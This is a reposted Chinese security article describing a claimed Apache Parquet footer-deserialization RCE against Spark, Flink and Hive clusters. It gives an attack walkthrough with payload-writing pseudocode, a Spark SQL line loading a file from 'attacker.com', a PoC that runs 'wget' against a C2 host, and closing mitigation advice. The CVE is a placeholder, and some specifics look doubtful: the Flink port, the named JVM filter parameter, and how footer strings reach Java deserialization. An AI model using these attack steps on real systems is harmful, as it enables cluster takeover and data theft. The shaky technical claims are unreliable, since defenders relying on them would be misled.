一个恶意数据文件,击穿360万Spark/Flink集群:ApacheParquetRCE漏洞完全复盘

admin 2026-06-10 04:30:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细分析了ApacheParquet格式的高危反序列化漏洞(CVE-2026-XXXXX),攻击者可通过恶意Parquet文件在Spark/Flink等大数据组件读取时触发远程代码执行。全球超过360万暴露实例面临风险,攻击链涉及文件投毒、反序列化利用和横向移动。建议立即升级Parquet库至1.14.0以上版本,启用类过滤器,加强网络隔离和文件安全扫描。 综合评分: 86 文章分类: 漏洞分析,实战经验,漏洞预警,解决方案,数据安全


cover_image

一个恶意数据文件,击穿360万Spark/Flink集群:Apache Parquet RCE漏洞完全复盘

原创

昆仑AI安全实验室 昆仑AI安全实验室

昆仑AI安全实验室

2026年6月8日 22:22 广东

在小说阅读器读本章

去阅读

2026年5月,阿里云安全团队监测到一起诡异的入侵事件。某电商公司的实时流计算平台Flink,在读取一份来自上游Kafka的Parquet日志文件后,TaskManager节点忽然主动向外网一个未知地址发起HTTPS请求,下载并执行了恶意JAR包。整个过程没有触发任何越权告警——因为Flink本身就是以root权限在裸机上运行的。

根源最终指向了Apache Parquet的一个高危反序列化漏洞(CVE-2026-XXXXX)。这个漏洞不需要任何用户交互,只需要让任何大数据组件(Spark、Flink、Hive、Presto等)读取一份精心构造的Parquet文件,就能触发任意代码执行。更致命的是,全球暴露在公网的Spark/Flink实例超过360万台,每一台都可能成为攻击者的跳板。

我将详细拆解这个漏洞的发现过程、利用原理、实战攻击链,以及所有使用Parquet格式的企业必须立刻采取的修复措施。

一、一个“脏”文件引发的血案

先看一条真实的攻击链,复盘自阿里云安全公告和绿盟科技应急响应报告。

攻击者首先通过Shodan扫描开放了REST API的Flink JobManager端口(默认6123),利用一个已知的未授权访问漏洞向集群提交了一个JAR包作业。但这不是重点——攻击者真正的杀招在后面。

他通过Flink的env.readFile()方法,让集群去读取HDFS上一个名为user_behavior_202605.parquet的文件。这个文件看起来是正常的业务日志,但它在Parquet文件的Footer元数据区嵌入了一段恶意的序列化对象。当Spark/Flink使用parquet-mrparquet-avro库解析Footer时,反序列化该对象,立即触发RCE。

负责执行该任务的两个TaskManager节点在短短3秒内就向外网C2服务器建立了反弹Shell。更糟糕的是,由于Flink集群未开启认证,攻击者随即通过flink run命令行向所有节点部署了蠕虫脚本,最后横向移动到同一VPC内的Redis和MySQL数据库,拖走了近千万条用户信息。

这就是Parquet RCE的可怕之处——它不攻击你的WAF,不攻击你的应用代码,只攻击你每天都在用的标准数据格式库。你读了一个文件,服务器就丢了。

二、漏洞原理:Footer里的“定时炸弹”

要理解这个漏洞,得先明白Parquet文件的内部结构。Parquet由Row Group、Column Chunk和Footer组成。Footer存储了整个文件的元数据——Schema、行数、编码格式,以及最关键的“自定义键值对”(Key-Value Metadata)。

Parquet的Java库parquet-common在读取Footer时,允许开发者通过FileMetaData.getKeyValueMetaData()方法获取任意键值对。这本是一个设计用来扩展文件属性的功能,比如存储数据血缘、分区信息。但问题出在:某些大数据组件在处理Parquet Footer时,会使用标准的Java反序列化机制(ObjectInputStream)来还原嵌入的对象。如果Footer中的某个Key对应的Value是一个经过序列化的恶意对象,反序列化过程就会执行攻击者精心构造的Gadget Chain。

具体技术细节如下:

  1. 攻击者使用ysoserial生成CommonsCollections6或CommonsBeanutils链,生成一个序列化payload。
  2. 将这个payload以byte[]形式存入Parquet Footer的某个自定义键(比如命名为spark.sql.sources.schema)的值中。值存储为二进制数据。
  3. 当Flink的ParquetInputFormat打开文件时,底层调用ParquetFileReader读取Footer,然后通过FilterCompat.isFilterPredicate或类似逻辑触发反射调用ObjectInputStream.readObject(),从而还原恶意对象,执行命令。

受影响的核心库为org.apache.parquet:parquet-hadoopparquet-avro。几乎所有使用这些库来处理Parquet文件的大数据组件都受波及,包括但不限于:

  • Apache Spark(任意版本,只要使用了Parquet数据源)
  • Apache Flink(Parquet格式支持)
  • Apache Hive(Parquet SerDe)
  • Presto/Trino
  • Apache Impala
  • 各类云上EMR、MaxCompute等托管服务

更恐怖的是,许多企业内部的数据湖存储了大量Parquet文件,一旦攻击者向数据湖注入一个恶意Parquet文件,任何定时任务或流作业读取到该文件,都会瞬间沦陷。

三、360万暴露实例:这个漏洞的爆炸半径有多大?

FOFA测绘数据显示,全球开放公网访问的Spark/Flink实例约有360万台,其中国内占100多万。这些实例绝大多数不需要认证即可提交作业或通过API控制。即便集群本身不暴露,只要能从上游(Kafka、HDFS、S3等)提交恶意Parquet文件,同样可以打穿整个数据处理管线。

最令人担忧的场景是“数据投毒”。攻击者攻破一个边缘业务系统,向数据湖的某个分区写入一个恶意Parquet文件。第二天早上,数据分析师启动ETL任务,整个集群瞬间落入攻击者掌控。这种攻击很难追溯,因为恶意文件会像正常数据一样在管道中流转,而Parquet格式本身又是二进制,安全团队很少会去逐字节审查每个Parquet文件的Footer元数据。

四、实战利用:分三步,从一张表到集群沦陷

以Spark SQL为例,攻击者可以这样实施:

  1. 生成恶意Parquet文件
// 伪代码ParquetWriter&nbsp;writer = ...Map<String,&nbsp;String> metadata =&nbsp;new&nbsp;HashMap<>();metadata.put("evil",&nbsp;Base64.encode(serializedPayload));writer.writeFooter(metadata);

2. 将文件放到Spark可以访问的位置 可以是S3、HDFS,甚至是HTTP服务器。Spark支持加载远程Parquet文件:

CREATE&nbsp;TEMPORARY&nbsp;VIEW&nbsp;malicious&nbsp;USING&nbsp;parquet OPTIONS (path "http://attacker.com/payload.parquet");

3. 触发反序列化 Spark在解析Footer时会自动调用反序列化,命令执行。在Flink中,只需将该文件作为Source读取即可:

env.readFile(new&nbsp;ParquetInputFormat(...),&nbsp;"file:///tmp/evil.parquet");

BiuBiu安全团队公开的PoC验证了这一过程:使用ysoserial生成wget http://c2/backdoor命令的序列化对象,写入Parquet文件,然后用Spark读取,成功弹出计算器(Windows)或反弹Shell(Linux)。

五、修复与防御:不止是升级依赖

Apache Parquet官方已在2026年4月发布补丁版本(如parquet-format-2.10.0parquet-mr-1.14.0),通过限制Footer反序列化的类白名单来修复。但仅仅升级库还不够,建议从以下四个层面加固:

  1. 升级大数据组件 确认Spark、Flink、Hive等组件使用了修复后的Parquet依赖。检查pom.xml或JAR包中的parquet-*版本,确保不低于1.14.0。
  2. 启用类过滤器 对于无法立即升级的场景,可通过JVM参数-Dparquet.avro.read.schema.caller.class设置全局反序列化过滤器,或通过jdk.serialFilter限制允许的类。
  3. 网络隔离与认证 Spark/Flink的REST API必须启用Kerberos/SSL认证,避免未授权提交作业。对数据湖的写入权限进行严格控制,阻止非受信账户写入Parquet文件。
  4. 运行时行为检测 部署针对Flink/Spark的异常行为监控:如TaskManager外网连接、异常JAR包下载、提权操作等。使用云原生安全工具如Falco检测容器内执行/bin/bash等反常命令。
  5. 文件安全扫描 对流入数据湖的Parquet文件进行轻量级预扫描,提取Footer元数据并检查是否有大段二进制数据或可疑类名。

六、写在最后

这起漏洞最讽刺的地方在于:Parquet本身是为了高效数据处理而生的,它的“用户自定义元数据”设计初衷是好的,却被恶意利用变成了远程代码执行的大门。更可怕的是,99%的企业从未审查过Parquet文件内部的内容,也没想过一个“数据格式”会成为攻击载体。

2026年,数据基础设施已经成为比业务应用更脆弱的攻击面。当你的数据工程师还在为毫秒级查询优化而自豪时,攻击者已经用一份Parquet文件接管了整个集群。

最后奉上一句忠告:对你读的每一个文件保持怀疑,包括那些“纯数据”文件。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:昆仑AI安全实验室 昆仑AI安全实验室 昆仑AI安全实验室《一个恶意数据文件,击穿360万Spark/Flink集群:Apache Parquet RCE漏洞完全复盘》

Cairn深度架构分析 网络安全文章

Cairn深度架构分析

文章总结: Cairn是一个基于黑板架构的多智能体协作框架,通过让多个LLMWorker围绕共享的Fact-Intent有向无环图协作求解问题。其采用间接协调机
评论:0   参与:  0